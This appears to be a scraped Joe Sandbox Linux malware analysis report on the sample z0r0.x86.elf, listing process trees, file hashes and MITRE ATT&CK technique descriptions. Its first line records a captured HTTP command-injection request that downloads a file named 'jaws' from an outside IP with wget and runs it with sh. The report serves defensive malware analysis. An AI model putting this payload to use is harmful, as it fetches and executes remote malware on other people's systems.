Jan 5, 2025 14:27:02.744119883 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: z0r0.x86.elf PID: 5441, Parent PID: 5367

General

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	/tmp/z0r0.x86.elf
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Analysis Process: z0r0.x86.elf PID: 5445, Parent PID: 5442

General

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Analysis Process: z0r0.x86.elf PID: 5447, Parent PID: 5442

General

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Analysis Process: z0r0.x86.elf PID: 5448, Parent PID: 5442

General

Start time (UTC):	13:26:49
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	1fd64dd326aedc86f9e5cd89016afeb7

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:59
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:59
Start date (UTC):	05/01/2025
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:26:55
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:26:59
Start date (UTC):	05/01/2025
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	13:26:59
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	13:27:02
Start date (UTC):	05/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	13:27:02
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z0r0.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: z0r0.x86.elf PID: 5441, Parent PID: 5367

General

Chronological Activities

Analysis Process: z0r0.x86.elf PID: 5442, Parent PID: 5441

General

Chronological Activities

Analysis Process: z0r0.x86.elf PID: 5443, Parent PID: 5442

General

Chronological Activities

Analysis Process: z0r0.x86.elf PID: 5444, Parent PID: 5442

General

Analysis Process: z0r0.x86.elf PID: 5445, Parent PID: 5442

General

Linux Analysis Report
z0r0.x86.elf